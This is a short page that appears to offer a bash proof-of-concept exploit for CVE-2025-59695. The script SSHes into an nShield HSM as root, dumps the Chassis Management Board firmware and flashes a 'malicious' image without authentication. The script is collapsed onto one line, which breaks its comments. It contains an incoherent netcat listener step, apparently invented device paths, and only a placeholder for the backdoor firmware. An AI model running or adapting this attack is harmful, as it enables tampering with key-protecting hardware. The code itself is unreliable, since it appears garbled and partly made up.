CVE-2025-59695

#!/bin/bash # CVE-2025-59695 PoC - nShield HSM Firmware Manipulation # Prerequisites: OS root access on the nShield device TARGET_IP="${TARGET_IP:-192.168.1.100}" FIRMWARE_BACKUP="/tmp/cmb_firmware_backup.bin" MALICIOUS_FIRMWARE="/tmp/malicious_cmb_firmware.bin" # Step 1: Access the Chassis Management Board interface echo "[*] Accessing CMB interface with root privileges..." ssh root@$TARGET_IP "nc -lv 192.168.1.1 9000" # Step 2: Extract current firmware echo "[*] Dumping current CMB firmware..." ssh root@$TARGET_IP "cat /dev/cmb_firmware > $FIRMWARE_BACKUP" # Step 3: Create malicious firmware (demonstration only) echo "[*] Generating modified firmware..." # In real attack: craft firmware with backdoor capabilities # Step 4: Flash malicious firmware without authentication echo "[*] Uploading modified firmware to CMB..." ssh root@$TARGET_IP "cat $MALICIOUS_FIRMWARE > /dev/cmb_firmware" # Step 5: Reboot CMB to apply changes echo "[*] Triggering CMB reboot..." ssh root@$TARGET_IP "echo 'reboot' > /proc/cmb_control" echo "[+] Firmware manipulation completed successfully" # Note: This PoC demonstrates the attack vector. # Actual exploitation requires specific firmware crafting and device access.

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